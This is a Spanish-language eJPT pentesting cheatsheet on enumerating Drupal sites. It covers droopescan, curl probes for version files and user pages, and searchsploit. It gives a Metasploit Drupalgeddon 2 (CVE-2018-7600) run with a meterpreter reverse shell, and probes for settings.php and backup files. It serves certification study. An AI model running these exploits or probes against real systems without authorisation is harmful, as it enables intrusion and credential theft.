> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-cheatsheet/enumeracion-y-explotacion-de-cms/enumeracion-de-un-drupal.md).

# Enumeración de un Drupal

## Enumeración con Droopescan

**Escaneo general de Drupal:**

```bash
droopescan scan drupal -u http://TARGET
```

Droopescan detecta:

* Versión de Drupal
* Módulos instalados
* Temas instalados
* Posibles archivos expuestos

Puedes usar el flag `-t 20` para aumentar el número de hilos y acelerar el escaneo.

***

## Enumeración manual

**Detectar la versión de Drupal (si es visible):**

```bash
curl -s http://TARGET/CHANGELOG.txt | grep Drupal
```

A menudo se encuentra en `CHANGELOG.txt` si el administrador no lo ha eliminado.

***

**Buscar el archivo `install.php`:**

```bash
curl -I http://TARGET/install.php
```

**Ver encabezados de servidor:**

```bash
whatweb http://TARGET
```

**Buscar usuarios por /user/X**

```bash
for i in {1..10}; do curl -s http://TARGET/user/$i | grep -Eoi '<title>.*</title>'; done
```

Algunas veces los títulos contienen el nombre de usuario o alias.

***

## Buscar módulos vulnerables

**Buscar módulos vulnerables con searchsploit:**

<pre class="language-bash"><code class="lang-bash"><strong>searchsploit drupal
</strong></code></pre>

**Filtrar por RCE o SQLi:**

```bash
searchsploit drupal | grep -i rce
searchsploit drupal | grep -i sql
```

***

## Explotación con Metasploit

**Drupalgeddon 2 (RCE) - CVE-2018-7600**

```bash
msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS http://TARGET
set TARGETURI /
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <TU_IP>
exploit
```

***

## Archivos sensibles

**Buscar archivos comunes o backups:**

```bash
curl -I http://TARGET/sites/default/settings.php
curl -I http://TARGET/sites/default/settings.old.php
curl -I http://TARGET/.tar.gz
```
